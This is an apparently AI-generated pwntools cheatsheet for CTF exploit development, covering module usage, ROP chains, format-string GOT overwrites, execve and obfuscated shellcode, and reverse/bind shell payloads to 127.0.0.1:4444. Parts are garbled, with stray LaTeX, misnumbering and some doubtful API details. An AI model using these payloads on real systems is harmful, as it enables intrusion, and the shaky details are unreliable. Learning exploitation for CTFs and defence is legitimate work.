Pwntools

Mensi Mohamed Amine

Abstract

Pwntools is a Python library for rapid exploit development and CTF scripting. It simplifies tasks like process interaction, payload crafting, and binary analysis, offering powerful utilities for both beginners and advanced exploit developers.

1 Introduction

Pwntools is a powerful Python library designed for binary exploitation. It simplifies tasks like interacting with processes, crafting payloads, and analyzing binaries, making it an essential tool for security researchers and exploit developers.

Contents

2 All pwntools Modules

`pwntools` is a popular Python library for exploit development and CTF (Capture The Flag) challenges. Below is a list of the primary modules and their functionalities:

2.1 Core Modules

- `pwn` / `pwnlib` Main module, often imported as `from pwn import *`. Provides most of the functionality needed for binary exploitation.
- `pwnlib.tubes` Handles communication with processes, networks, and serial connections.
  - `process` - Interact with local binaries.
  - `remote` - Connect to remote services (TCP/UDP).
  - `serial` - Communicate with serial devices.
  - `ssh` - Run commands over SSH.
  - `listen` - Create a listening server.
- `pwnlib.asm` Assemble and disassemble shellcode. Supports multiple architectures (`x86`, `amd64`, `arm`, `mips`, etc.). Example: `asm("mov eax, 1")`.
- `pwnlib.elf` Parse and manipulate ELF binaries.
  - `ELF("binary")` - Load an ELF file.
  - `.symbols` - Access symbols (e.g., `elf.symbols['main']`).
  - `.plt`, `.got` - Access PLT/GOT entries.
- `pwnlib.shellcraft` Generate shellcode for various architectures. Example: `shellcraft.sh()` (spawns a shell).
- `pwnlib.gdb` Interface with GDB for debugging. Example: `gdb.attach(target)`.
- `pwnlib.util.packing` Pack and unpack integers (`p32`, `p64`, `u32`, `u64`). Example: `p32(0xdeadbeef)` → `b'\xef\xbe\xad\xde'` .
- `pwnlib.util.cyclic` Generate De Bruijn sequences for buffer overflow exploits. Example: `cyclic(100)` → `'aaaabaaacaaa...'`.
- `pwnlib.util.fiddling` Helpers for bit manipulation (XOR, hexdump, etc.).
- `pwnlib.context` Set runtime context (architecture, OS, logging level). Example: `context.arch = 'amd64'`.

2.2 Additional Useful Modules

- `pwnlib.memleak` Helpers for memory leak exploitation.
- `pwnlib.rop` Build ROP (Return-Oriented Programming) chains. Example:

```
rop = ROP(elf)
rop.call("system", [next(elf.search(b"/bin/sh"))])
```

- `pwnlib.fmtstr` Format string exploit utilities. Example: `fmtstr_payload(offset, {address: value})`.
- `pwnlib.dynelf` Resolve remote symbols dynamically (for PIE exploits).
- `pwnlib.adb` Interact with Android devices via ADB.

- `pwnlib.timeout` Handle timeouts in exploits.
- `pwnlib.args` Parse command-line arguments (for exploit scripts).
- `pwnlib.log` Logging utilities (`info()`, `success()`, `warn()`, `error()`).
- `pwnlib.update` Update `pwntools` to the latest version.
- `pwnlib.term` Terminal UI helpers (colors, spinners, etc.).
- `pwnlib.config` Configure `pwntools` settings.
- `pwnlib.constants` Architecture-specific constants (syscall numbers, etc.).
- `pwnlib.exception` Custom exceptions used by `pwntools`.
- `pwnlib.ui` User interaction helpers (menus, prompts).
- `pwnlib.replacements` Compatibility layer for Python 2/3.

2.3 Example Usage

```python
from pwn import *

context.arch = 'amd64'
elf = ELF('./vulnerable_binary')

p = process('./vulnerable_binary')
rop = ROP(elf)
rop.system(next(elf.search(b'/bin/sh')))  # Build ROP chain

payload = b'A' * 64 + rop.chain()  # Buffer overflow + ROP
p.sendline(payload)
p.interactive()  # Get shell
```

2.4 Installation

```
pip install pwntools
```

(Or from source: `https://github.com/Gallopsled/pwntools`)

This covers most of the commonly used `pwntools` modules. Let me know if you need details on any specific part!

3 Pwntools Workflow

Here's a **structured pwntools workflow** for efficient binary exploitation, from initial analysis to final exploit.

3.1 Setup & Target Analysis

```
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')

# Load binary
elf = ELF('./vulnerable')
libc = elf.libc  # Auto-detects if patchelf used

# Check protections
print(elf.checksec())  # ASLR/NX/Canary/etc.

# Quick disassembly
print(disasm(elf.read(elf.sym['main'], 40)))
```

3.2 Establish Communication

```
# Local/remote selection
if args.REMOTE:
    p = remote('ctf.example.com', 1337)
else:
    p = process('./vulnerable')
    # Attach GDB if local
    gdb.attach(p, 'break *main\ncontinue')
```

3.3 Leak Memory (ASLR/PIE Bypass)

```
# Format string leak
p.sendline(b'%3$p')
libc_leak = int(p.recvline(), 16)
libc.address = libc_leak - 0x3ebca0  # Offset for __libc_start_main

# OR use DynELF for automated resolution
def leak(addr):
    p.send(p64(addr))
    return p.recv(4)
d = DynELF(leak, elf=elf)
system = d.lookup('system', 'libc')
```

3.4 Build Exploit Chain

```
# ROP chain example
rop = ROP([elf, libc])
rop.call('puts', [elf.got['puts']])
rop.call('main')  # Loop back

# Buffer overflow example
offset = 72
payload = flat(
    b'A'*offset,
```

```
    rop.chain()
)
```

3.5 Send Payload & Interact

```
p.sendline(payload)

# For format string exploits
p.sendline(fmtstr_payload(5, {elf.got['printf']: elf.sym['system']}))

# Get shell
p.interactive()
```

3.6 Debugging Workflow

```
# Hexdump payloads
print(hexdump(payload))

# Debug crashes
core = p.corefile
print(hex(core.fault_addr))

# Test shellcode locally
run_shellcode(asm(shellcraft.sh()))
```

3.7 Pro Tips

1. **Automate testing:**

```
for i in range(1,100):
    try:
        p = process()
        p.sendline(cyclic(100, n=i))
        p.wait()
        core = p.corefile
        print(i, hex(core.fault_addr))
    except: pass
```

2. **Use template:**

```
#!/usr/bin/env python3
from pwn import *

def start():
    return process('./binary') if not args.REMOTE else remote('addr', port)

def exploit():
    p = start()
    # Your exploit here
    p.interactive()

if __name__ == '__main__':
    exploit()
```

3. **Common patterns:**
   - `flat(cyclic(offset), rop.chain())` for buffer overflows
   - `fmtstr_payload(offset, {addr: value})` for format strings
   - `DynELF(leak).lookup('system')` when libc is unknown

This workflow covers 90% of CTF challenges and real-world exploits. Key points:

- Always check protections first
- Leak addresses when ASLR/PIE is enabled
- Use `context` for consistent architecture settings
- Test locally before attacking remote

4 pwn / pwnlib

Here's a **quick cheatsheet** for the core `pwn` / `pwnlib` module in `pwntools`, covering the most essential functions and tricks for exploit development:

4.1 Basic Imports

```
from pwn import *  # Most common import (includes all below)
# OR selectively:
from pwn import process, remote, packing, log, context, ELF, ROP, shellcraft
```

4.2 Context Setup

```
context.arch = 'amd64'        # Architecture (x86, arm, mips, etc.)
context.os = 'linux'          # OS (linux, windows)
context.endian = 'little'     # Endianness (little/big)
context.log_level = 'debug'   # Logging level (debug, info, error)
context.bits = 64             # 32 or 64
```

4.3 Tubes (Process/Network Communication)

4.3.1 Local Process

```
p = process('./binary')       # Run a local binary
p = process(['./binary', 'arg1', 'arg2'])  # With args
```

4.3.2 Remote Connection

```
r = remote('127.0.0.1', 1337)  # Connect to host:port
r = remote('example.com', 80, ssl=True)  # HTTPS
```

4.3.3 Send/Receive Data

```
p.send(b'Hello\n')            # Send raw bytes
p.sendline(b'Hello')          # Send line (auto-adds \n)
p.sendafter(b'Prompt:', b'Input')  # Send after a prompt

data = p.recv(100)            # Receive 100 bytes
line = p.recvline()           # Receive until \n
p.recvuntil(b'Prompt:')       # Receive until a pattern

p.interactive()               # Switch to interactive shell
```

4.4 Packing/Unpacking

```
p32(0xdeadbeef)               # Pack 32-bit (little-endian)
p64(0xdeadbeef)               # Pack 64-bit
u32(b'\xef\xbe\xad\xde')      # Unpack 32-bit → 0xdeadbeef
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # Unpack 64-bit
```

4.5 ELF Manipulation

```
elf = ELF('./binary')        # Load ELF file
elf.address = 0x400000       # Set base address (PIE)
main_addr = elf.symbols['main']  # Get address of 'main'
puts_plt = elf.plt['puts']   # Get PLT entry
puts_got = elf.got['puts']   # Get GOT entry
bin_sh = next(elf.search(b'/bin/sh'))  # Find string in binary
```

4.6 Shellcraft (Shellcode Generation)

```
shellcode = shellcraft.sh()             # Spawn a shell (ASM)
shellcode = asm(shellcraft.sh())        # Get raw bytes
shellcode = shellcraft.amd64.linux.sh()  # Specify arch/OS
```

4.7 ROP (Return-Oriented Programming)

```
rop = ROP(elf)                         # Initialize ROP
rop.call('puts', [elf.got['puts']])    # Call function with args
rop.call('system', [bin_sh])           # Chain calls
rop.dump()                             # Print ROP chain
payload = flat({offset: rop.chain()}) # Insert into payload
```

4.8 Format String Exploits

```
offset = 6  # Where our input starts in stack
payload = fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']})
```

4.9 Debugging

```
gdb.attach(p, gdbscript='''           # Attach GDB
break *main
continue
''')
pause()  # Pause exploit to inspect manually
```

4.10 Logging Utilities

```
log.info("This is an info message")
success("Success! Flag: %s", flag)
warn("Warning: might fail!")
hexdump(elf.read(elf.sym['main'], 32))  # Hexdump data
cyclic(100)                            # Generate pattern
cyclic_find(0x61616162)                # Find offset in pattern
```

4.11 Misc Helpers

```
sleep(1)                                # Delay (e.g., for race conditions)
context.timeout = 5                     # Set timeout for tubes
```

4.12 Example Exploit Template

```
from pwn import *

context.arch = 'amd64'
elf = ELF('./vulnerable')

p = process('./vulnerable')
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])

payload = b'A' * 64 + rop.chain()
p.sendline(payload)
p.interactive()
```

This cheatsheet covers 90% of common `pwn`/`pwnlib` usage. Let me know if you need details on a specific part!

5 pwnlib.tubes

Here's a **concise cheatsheet** for `pwnlib.tubes`, the module in `pwntools` that handles all forms of I/O (local processes, remote connections, serial, and more):

5.1 Local Processes (`process`)

```
from pwn import *

# Start a local process
p = process('./binary')
p = process(['./binary', 'arg1', 'arg2'])  # With arguments

# Environment variables
env = {'LD_PRELOAD': './libc.so.6'}
p = process('./binary', env=env)

# Set working directory
p = process('./binary', cwd='/tmp')

# Redirect stdin/stdout/stderr
p = process('./binary', stdin=PTY, stdout=PTY)  # PTY for buffering issues
```

5.2 Remote Connections (`remote`)

```
r = remote('example.com', 1337)      # TCP connection
r = remote('example.com', 1337, ssl=True)  # SSL/TLS (HTTPS)
r = remote('::1', 1337, fam='ipv6')  # IPv6

# Timeout settings
r.settimeout(3.0)  # Timeout in seconds
```

5.3 SSH Connections (`ssh`)

```
s = ssh(user='root', host='example.com', port=22, password='pass123')
s = ssh(user='user', host='example.com', keyfile='~/.ssh/id_rsa')

# Run commands
sh = s.run('/bin/sh')
sh.sendline('id')      # Send command
print(sh.recvall())    # Receive all output

# Upload/download files
s.upload('/local/path', '/remote/path')
s.download('/remote/path', '/local/path')

# Start a process on the remote server
p = s.process('./remote_binary')
```

5.4 Listening Servers (`listen`)

```
# Start a listener
l = listen(1337)  # TCP
l = listen(1337, fam='ipv6')  # IPv6
l.wait_for_connection()  # Block until connection
```

```
# UDP listener
l = listen(1337, typ='udp')

# Example usage:
# In Terminal 1:
#   l = listen(1337)
#   c = l.wait_for_connection()
# In Terminal 2:
#   nc 127.0.0.1 1337
```

5.5 Serial Connections (serial)

```
ser = serialtube('/dev/ttyUSB0', baudrate=9600)
ser.send(b'AT+COMMAND\r\n')
print(ser.recvline())
```

5.6 Core Tube Methods (I/O Operations)

5.6.1 Sending Data

```
t.send(b'data')           # Send raw bytes
t.sendline(b'data')       # Send data + newline
t.sendafter(b'prompt:', b'data')  # Send after a prompt
```

5.6.2 Receiving Data

```
t.recv(1024)             # Receive up to 1024 bytes
t.recvline()             # Receive until newline
t.recvuntil(b'prompt:') # Receive until a pattern
t.recvall()              # Receive until EOF (blocking)
t.recvrepeat(0.5)        # Receive for 0.5 seconds
```

5.6.3 Interactive Mode

```
t.interactive()          # Hand over control to user
```

5.7 Utility Methods

```
t.can_recv(timeout=1)   # Check if data is available
t.clean()               # Discard all buffered data
t.close()               # Close the connection
t.shutdown('send')      # Close one direction (send/recv)
```

5.8 Advanced Features

5.8.1 Logging & Debugging

```
context.log_level = 'debug'  # Log all I/O
t = process('./binary')
# Logs all sent/received data automatically
```

5.8.2 Timeout Handling

```
t.settimeout(3.0)       # Global timeout (seconds)
try:
    data = t.recv(1024)
except EOFError:
    log.warning("Connection closed!")
```

5.8.3 PTY (Pseudo-Terminal) for Buffering Issues

```
p = process('./binary', stdin=PTY, stdout=PTY)  # Bypass line buffering
```

5.9 Example Usage

5.9.1 Local Exploit

```
p = process('./binary')
p.sendline(cyclic(100))  # Send De Bruijn pattern
p.recvuntil(b'Input:')  # Wait for prompt
p.sendline(b'Payload')
p.interactive()
```

5.9.2 Remote Exploit

```
r = remote('ctf.example.com', 1337)
r.sendlineafter(b'Name:', b'Exploit')
r.recvuntil(b'Flag:')
flag = r.recvline()
print(flag)
```

5.9.3 SSH Exploit

```
s = ssh(user='ctf', host='ctf.example.com', password='hackme')
sh = s.run('/bin/sh')
sh.sendline('cat /flag.txt')
print(sh.recvall())
```

5.10 Common Pitfalls

- **Buffering Issues**: Use `PTY` or `stdbuf` for line-buffered binaries.

```
    p = process('stdbuf -i0 -o0 ./binary', shell=True)
```

- **Timeouts**: Set `context.timeout` or `t.settimeout()` to avoid hangs.
- **EOF Errors**: Handle with `try/except EOFError`.

This cheatsheet covers 95% of `pwnlib.tubes` usage. Let me know if you need deeper dives!

6 pwnlib.asm

Here's a **powerful cheatsheet** for `pwnlib.asm`, the module used for assembling and disassembling shellcode in `pwntools`.

6.1 Basic Assembly/Disassembly

```python
from pwn import *

# Assemble shellcode (auto-detects arch from context)
shellcode = asm("mov eax, 1")          # b'\xb8\x01\x00\x00\x00'
shellcode = asm("xor rax, rax")        # b'H1\xc0' (x64)

# Disassemble bytes
print(disasm(b'\xb8\x01\x00\x00\x00')) # mov eax, 0x1
```

6.2 Architecture & OS Control

```python
context.arch = 'i386'     # x86 (32-bit)
context.arch = 'amd64'    # x86-64 (64-bit)
context.arch = 'arm'      # ARM
context.arch = 'mips'     # MIPS
context.os = 'linux'      # Default (affects syscalls)
```

6.3 Common Shellcode Snippets

6.3.1 Linux Syscalls (x86/x64)

```python
# execve('/bin/sh', 0, 0) - x86
asm('''
    xor ecx, ecx;
    mul ecx;
    push ecx;
    push 0x68732f2f;  # "hs//"
    push 0x6e69622f;  # "nib/"
    mov ebx, esp;
    mov al, 0xb;
    int 0x80;
''')

# execve('/bin/sh', 0, 0) - x64
asm('''
    xor rdx, rdx;
    push rdx;
    mov rbx, 0x68732f6e69622f;
    push rbx;
    mov rdi, rsp;
    push rdx;
    push rdi;
    mov rsi, rsp;
    mov al, 0x3b;
    syscall;
''')
```

6.3.2 Windows (via `context.os = 'windows'`)

```
context.os = 'windows'
asm('mov eax, fs:[0x30]')  # PEB access (Windows)
```

6.4 Shellcraft Integration

```
# Generate shellcode from templates
shellcode = asm(shellcraft.sh())        # /bin/sh (auto-arch)
shellcode = asm(shellcraft.cat('flag')) # cat flag
shellcode = asm(shellcraft.echo('Hello\n')) # print "Hello"

# Syscall shortcuts
shellcode = asm(shellcraft.open('flag'))
shellcode = asm(shellcraft.read('eax', 'esp', 100))
```

6.5 Customizing Assembly

6.5.1 VEX Syntax (Intel vs. ATT)

```
context.arch = 'amd64'
asm('mov eax, 1', vex=False)    # Intel syntax (default)
asm('movl $1, %eax', vex=True)  # AT&T syntax
```

6.5.2 Endianness & Bits

```
context.endian = 'big'     # MIPS/ARM big-endian
context.bits = 32          # Force 32-bit mode
```

6.6 Debugging Shellcode

```
# View opcodes with hexdump
print(hexdump(asm('nop; nop; int3')))

# Test shellcode locally
p = run_shellcode(asm(shellcraft.sh()))  # Runs in QEMU if needed
p.interactive()
```

6.7 Cross-Architecture Support

```
# ARM (Thumb mode)
context.arch = 'arm'
context.thumb = True
asm('mov r0, #1; svc #1')  # Thumb-mode syscall

# MIPS (Big-endian)
```

```
context.arch = 'mips'
context.endian = 'big'
asm('li $a0, 1; syscall')

# AArch64
context.arch = 'aarch64'
asm('mov x0, #1; svc #0')
```

6.8 Advanced Features

6.8.1 Relocatable Code

```
# Position-independent shellcode
sc = asm('''
    call next;
    .string "/bin/sh";
next:
    pop ebx;
    xor eax, eax;
    mov al, 0xb;
    int 0x80;
''')
```

6.8.2 Custom Sections

```
# Add raw data to shellcode
asm('''
    .section .shellcode;
    mov eax, 1;
    .section .data;
    .string "Hello";
''')
```

6.9 Example: Polymorphic Shellcode

```
# Obfuscated execve('/bin/sh')
sc = asm('''
    push 0x1010101;
    xor dword ptr [esp], 0x1016972;
    push 0x2f2f2f2f;
    xor dword ptr [esp], 0x0e0c0d0a;
    mov ebx, esp;
    xor ecx, ecx;
    mov al, 0xb;
    int 0x80;
''')
```

6.10 Common Pitfalls

- **Missing `context.arch`**: Always set before `asm()`/`disasm()`
- **AT&T vs. Intel syntax**: Use `vex=True` for AT&T

- **Endianness issues**: Set `context.endian` for non-x86 archs
- **Bad syscall numbers**: Check `/usr/include/asm/unistd.h` for correct numbers

6.11 Quick Reference Table

Command	**Description**
`asm(code)`	Assemble to bytes
`disasm(bytes)`	Disassemble to ASM
`shellcraft.sh()`	`/bin/sh` shellcode template
`run_shellcode(sc)`	Test shellcode in emulator
`context.arch = 'arm'`	Switch architectures
`hexdump(sc)`	Debug shellcode bytes

This cheatsheet gives you **direct control over machine code generation**. Let me know if you need architecture-specific deep dives!

7 pwnlib.elf

Here's a **comprehensive cheatsheet** for `pwnlib.elf`, the module used to analyze and manipulate ELF binaries in `pwntools`:

7.1 Loading an ELF File

```
from pwn import *

# Basic loading
elf = ELF('./binary')
elf = ELF('./binary', checksec=False)

# With custom base address (for PIE)
elf.address = 0x400000
```

7.2 Key Attributes

```
print(elf.path)
print(elf.arch)
print(elf.bits)
print(elf.endian)
print(elf.os)

print(hex(elf.entry))

print(elf.sections)
print(elf.segments)
```

7.3 Symbol Lookup

```
main_addr = elf.symbols['main']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

win_addr = elf.symbols.get('win', 0x400000)

for name, addr in elf.search_symbol('func_'):
    print(f"{name} @ {hex(addr)}")
```

7.4 PLT & GOT Access

```
print(elf.plt)
puts_plt = elf.plt['puts']

print(elf.got)
puts_got = elf.got['puts']
```

7.5 String Search

```python
bin_sh = next(elf.search(b'/bin/sh'))
all_bin_sh = list(elf.search(b'/bin/sh'))

flag_addr = next(elf.search(b'flag.txt', executable=True))
```

7.6 Memory Manipulation

```python
data = elf.read(elf.sym['main'], 16)

elf.write(0x401000, b'\x90\x90')

elf.save('./patched_binary')
```

7.7 Security Checks (Checksec)

```python
print(elf.checksec())

print(elf.canary)
print(elf.nx)
print(elf.pie)
print(elf.relro)
```

7.8 Dynamic Analysis

```python
print(elf.libc)

rop = ROP(elf)
print(rop.rsp)
```

7.9 Example Exploit Snippets

Leak libc Address via GOT

```python
payload = flat(
    b'A' * offset,
    elf.plt['puts'],
    elf.sym['main'],
    elf.got['puts']
)
```

Overwrite GOT Entry

```python
payload = fmtstr_payload(offset, {elf.got['printf']: elf.sym['system']})
```

Ret2win (CTF Classic)

```python
payload = flat(
    b'A' * offset,
    elf.symbols['win']
)
```

7.10 Advanced Features

Custom Sections

```
text = elf.get_section_by_name('.text')
print(hex(text.header.sh_addr))

rodata = elf.get_section_by_name('.rodata').data()
```

Debug Symbols

```
print(elf.functions)
main = elf.functions['main']
print(main.address)
print(main.size)
```

QEMU Emulation

```
io = elf.process()
```

7.11 Common Pitfalls

- **PIE Binaries**: Always set `elf.address` if ASLR is enabled.
- **Stripped Binaries**: Use `readelf -s` to recover symbols.
- **Partial RELRO**: GOT is writable (good for exploits).
- **Missing libc**: Use `ldd binary` to find linked libc.

7.12 Quick Reference Table

Command	Description
`ELF('./binary')`	Load ELF file
`elf.symbols['main']`	Address of `main`
`elf.plt['puts']`	Address of `puts@plt`
`elf.got['puts']`	Address of `puts@got`
`elf.search(b'/bin/sh')`	Find string in binary
`elf.checksec()`	Show security protections
`elf.read(addr, size)`	Read from memory
`elf.write(addr, data)`	Patch memory (in-memory)
`elf.save('./patched')`	Save modified binary

This cheatsheet gives you **full control over ELF analysis** for exploit development. Let me know if you need deeper dives into specific features!

8 pwnlib.shellcraft

Here's a **comprehensive cheatsheet** for `pwnlib.shellcraft`, the module used to generate architecture-specific shellcode in `pwntools`:

8.1 Basic Usage

```
from pwn import *

context.arch = 'amd64'
shellcode = asm(shellcraft.sh())

p = run_shellcode(shellcode)
p.interactive()
```

8.2 Architecture Selection

```
context.arch = 'amd64'
context.arch = 'i386'
context.arch = 'arm'
context.arch = 'aarch64'
context.arch = 'mips'
context.thumb = True
```

8.3 Common Shellcode Templates

Basic Shells

```
shellcraft.sh()
shellcraft.dupsh()
shellcraft.bindsh(4444)
shellcraft.connect('127.0.0.1', 4444) + shellcraft.dupsh()
```

File Operations

```
shellcraft.cat('flag.txt')
shellcraft.echo('Hello\n')
shellcraft.write('filename', 'content')
```

System Interaction

```
shellcraft.exit(0)
shellcraft.syscall('SYS_execve', '/bin/sh', 0, 0)
shellcraft.getuid()
```

8.4 Advanced Payloads

Reverse Shell

```
sc = shellcraft.connect('127.0.0.1', 4444)
sc += shellcraft.dupsh()
asm(sc)
```

Egg Hunter

```
shellcraft.egghunter(b'W00T')
```

ROP Gadgets

```
shellcraft.setregs({'rax':0x3b, 'rdi':0xdeadbeef})
```

8.5 Platform-Specific Shellcode

Linux

```
shellcraft.linux.sh()
shellcraft.linux.execve('/bin/sh', ['sh', '-c', 'ls'])
```

Windows

```
context.os = 'windows'
shellcraft.windows.messagebox('Pwned!')
```

Android

```
shellcraft.android.shell()
```

8.6 Shellcode Modifiers

```
shellcraft.avoid('\x00\x0a')
shellcraft.encoders.xor(key=0x41)
```

8.7 Debugging Shellcode

```
print(shellcraft.sh())
print(hexdump(asm(shellcraft.sh())))

p = run_shellcode(asm(shellcraft.sh()))
p.interactive()
```

8.8 Example Payloads

x64 Execve

```
context.arch = 'amd64'
sc = '''
    xor rdx, rdx
    push rdx
    mov rbx, 0x68732f6e69622f
    push rbx
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    mov al, 0x3b
```

```
    syscall
'''
print(asm(sc))
\end{verbatim}

\textbf{ARM Reverse Shell}
\begin{verbatim}
context.arch = 'arm'
sc = shellcraft.connect('127.0.0.1', 4444)
sc += shellcraft.dupsh()
print(asm(sc))
```

8.9 Quick Reference Table

Command	Description
`shellcraft.sh()`	Basic `/bin/sh` shell
`shellcraft.bindsh(port)`	Bind shell
`shellcraft.cat(path)`	Read file
`shellcraft.connect(host,port)`	Connect back
`shellcraft.egghunter(tag)`	Egg hunter
`shellcraft.exit(status)`	Exit process
`asm(shellcraft.XYZ())`	Convert to bytes

10. Pro Tips

- Always set `context.arch` first
- Use `run`$_shellcode()totestlocallyPipemultiplecommandswith$`shellcraft.cat('flag') + shellcraft.exit(0)`
- For CTFs, `shellcraft.sh()` works 80% of the time

This cheatsheet gives you **instant access to weaponized shellcode** — perfect for CTFs and real-world exploits! Let me know if you need architecture-specific deep dives.

9 pwnlib.gdb

Here's a **powerful cheatsheet** for `pwnlib.gdb`, your ultimate debugging companion in pwntools:

9.1 Basic GDB Attachment

```
from pwn import *

p = process('./binary')
gdb.attach(p)

p.interactive()
```

Pro Tip: Use `gdb.debug('./binary')` to start process under GDB immediately.

9.2 Advanced Attachment Options

```
gdb.attach(p, '''
break *main
continue
x/20wx $esp
''')

gdb.attach(1234)

gdb.attach(p, gdbscript='', gdb_args=['/usr/bin/gdb', '--nh'])
```

9.3 GDB Script Generation

```
script = '''
break *{main_addr}
break *{win_addr}
'''.format(
    main_addr=elf.symbols['main'],
    win_addr=elf.symbols['win']
)
gdb.attach(p, gdbscript=script)
```

9.4 Non-Terminal Debugging

```
with context.local(terminal=['tmux', 'splitw', '-h']):
    gdb.attach(p)
```

9.5 Post-Mortem Debugging

```
def debug():
    if args.DEBUG:
        gdb.attach(p, 'continue\n')

payload = b'A'*100
p.sendline(payload)
debug()
```

9.6 GDB Python API

```
gdb = p.gdb
gdb.execute('break main')
gdb.execute('continue')
print(gdb.execute('x/xg $rip', to_string=True))
```

9.7 Architecture-Specific Debugging

```
context.arch = 'arm'
gdb.attach(p, '''
set arm force-mode thumb
break *$pc
continue
''')
```

9.8 Common GDB Commands Cheatsheet

Command	Description
`break *main`	Break at main
`continue`	Continue execution
`ni`	Next instruction
`si`	Step into call
`x/10wx $esp`	Examine stack
`info registers`	Show all registers
`p/x $eax`	Print register in hex
`watch *0x8048000`	Set watchpoint
`vmmap`	Show memory maps (pwndbg)
`telescope $rsp`	Stack analysis (pwndbg)

9.9 Pwntools + GDB Plugins

```
gdb.attach(p, '''
context
break vulnerable_function
continue
''')
```

Bonus: Add this to your `~/.gdbinit`:

```
source /path/to/pwndbg/gdbinit.py
```

9.10 Example Exploit Integration

```
from pwn import *

elf = context.binary = ELF('./vulnerable')
p = process()

if args.DEBUG:
    gdb.attach(p, '''
    break *vulnerable+23
    continue
    ''')
```

```
payload = fit({
    64: elf.sym['win']
})
p.sendline(payload)
p.interactive()
```

9.11 Troubleshooting

Problem: GDB doesn't attach properly
Solution:

```
context.terminal = ['tmux', 'splitw', '-h']
# or
context.terminal = ['gnome-terminal', '--tab', '-e']
\end{verbatim}

\textbf{Problem}: Missing debug symbols \\
\textbf{Solution}:
\begin{verbatim}
gdb.attach(p, '''
set debug-file-directory /usr/lib/debug
file ./binary
''')
```

9.12 Performance Tips

- Use `continue` in your gdbscript to avoid manual resume.
- For remote targets:

```
gdb.attach(p, '''
set follow-fork-mode child
continue
''')
```

- Cache GDB attachments:

```
if not args.NO_GDB:
    gdb.attach(p)
```

This cheatsheet transforms GDB into a **exploitation powerhouse** when combined with pwntools. For CTFs, memorize the `gdb.attach(p)` + `interactive()` combo — it works 90% of the time!

10 pwnlib.util.packing

Here's a **comprehensive cheatsheet** for `pwnlib.util.packing`, the module that handles all your data packing/unpacking needs in pwntools:

10.1 Basic Packing/Unpacking

```
from pwn import *

# Pack integers to bytes
p32(0xdeadbeef)      # b'\xef\xbe\xad\xde'
p64(0xdeadbeef)      # b'\xef\xbe\xad\xde\x00\x00\x00\x00'

# Unpack bytes to integers
u32(b'\xef\xbe\xad\xde')     # 0xdeadbeef
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')  # 0xdeadbeef

# Signed
p32(-1, sign=True)
u32(b'\xff\xff\xff\xff', sign=True)  # -1
```

10.2 Endianness Control

```
p32(0x12345678, endian='big')     # b'\x12\x34\x56\x78'
p64(0x12345678, endian='big')     # b'\x00\x00\x00\x12\x34\x56\x78'
p32(0x12345678, endian='little')  # b'\x78\x56\x34\x12'

with context.local(endian='big'):
    p32(0x12345678)
```

10.3 Flat Data Generation

```
flat({
    0x0: b'HEADER',
    0x8: p64(0xdeadbeef),
    0x10: [p32(0x1234), p32(0x5678)]
})

offset = 64
payload = flat({
    offset: p64(0x40123a)
})
```

10.4 Common Patterns

```
pack(0xdeadbeef, word_size=32)

with open('data.bin', 'rb') as f:
    num = u32(f.read(4))

payload = p32(0x1234) + p32(0x5678) + b'PADDING'
```

10.5 Special Cases

```
pack(b'AABB')           # b'AABB'
pack('AABB')            # b'AABB'
pack([0x41, 0x42])      # b'AB'
pack(0x1234, 16)        # b'\x34\x12'
pack(0x1234, 'all')     # b'\x34\x12\x00\x00'
```

10.6 Real-World Examples

```
payload = b'A'*72 + p32(elf.sym['win']) + p32(0x0) + p32(0xdeadbeef)
\end{verbatim}

\paragraph{64-bit ROP Chain}
\begin{verbatim}
payload = flat(
    b'A'*40,
    p64(pop_rdi),
    p64(next(elf.search(b'/bin/sh'))),
    p64(elf.sym['system'])
)
```

32-bit Exploit

```
fmt = fmtstr_payload(5, {0x08040000:0x41414141})
```

Format String Exploit

10.7 Pro Tips

- **Always** set `context.arch` before packing:

  ```
  context.arch = 'amd64'
  ```

- Use `flat()` instead of manual packing for complex payloads
- For shellcode:

  ```
  payload = asm(shellcraft.sh()) + p64(0xdeadbeef)
  ```

- Debug with:

  ```
  print(hexdump(payload))
  ```

10.8 Quick Reference Table

Function	Description	Example
`p32(n)`	Pack 32-bit	`p32(0x41414141)` → `b'AAAA'`
`p64(n)`	Pack 64-bit	`p64(0xdeadbeef)` → 8 bytes
`u32(data)`	Unpack 32-bit	`u32(b'AAAA')` → 0x41414141
`u64(data)`	Unpack 64-bit	`u64(b'AAAA\x00...')` → 0x41414141
`flat(data)`	Smart packing	`flat({0: 'A', 4: p32(...)})`
`pack(n, size)`	Generic pack	`pack(0x1234, 16)` → `b'\x34\x12'`

This cheatsheet covers **90% of packing scenarios** you'll encounter in binary exploitation. Just remember:

- `pXX` for packing
- `uXX` for unpacking
- `flat()` for complex layouts
- Always set `context.arch`!

11 pwnlib.util.cyclic

Here's a **comprehensive cheatsheet** for `pwnlib.util.cyclic`, the module that helps you generate and analyze De Bruijn sequences for buffer overflow exploits:

11.1 Basic Pattern Generation

```
from pwn import *

pattern = cyclic(100)  # b'aaaabaaacaaa...'
print(pattern)
```

11.2 Finding Offsets

```
offset = cyclic_find(0x61616162)  # 4 (for 'baaa')
offset = cyclic_find(b'baaa')     # 4

# For 64-bit
offset = cyclic_find(0x6161616161616162)
```

11.3 Custom Alphabets & Sizes

```
pattern = cyclic(50, alphabet='ABCDEFGH')
pattern = cyclic(100, n=8)  # 64-bit pattern
```

11.4 Real-World Usage

```
p = process('./vulnerable')
p.sendline(cyclic(200))

# Crash address: e.g. 0x61616162
offset = cyclic_find(0x61616162)

payload = flat({
    offset: p64(0xdeadbeef)
})
```

Buffer Overflow Exploit

11.5 Advanced Features

```
pattern = cyclic(length=100)
inf_pattern = cyclic.cyclic()
next(inf_pattern)  # 'a'
```

Pattern Generation

```python
my_cyclic = cyclic.de_bruijn(alphabet='ABC', n=3)
list(my_cyclic)[:5]  # ['AAA', 'AAB', 'AAC', 'ABA', 'ABB']
```

Custom Cyclic Classes

11.6 Common Pitfalls

- **Architecture Mismatch**

```python
context.arch = 'amd64'
```

- **Partial Patterns**

```python
pattern = cyclic(100, n=2)
cyclic_find(0x6162)  # Returns 0
```

11.7 Quick Reference Table

Function	Description	Example
`cyclic(n)`	Generate n-byte pattern	`cyclic(100)` → `b'aaaabaaac...'`
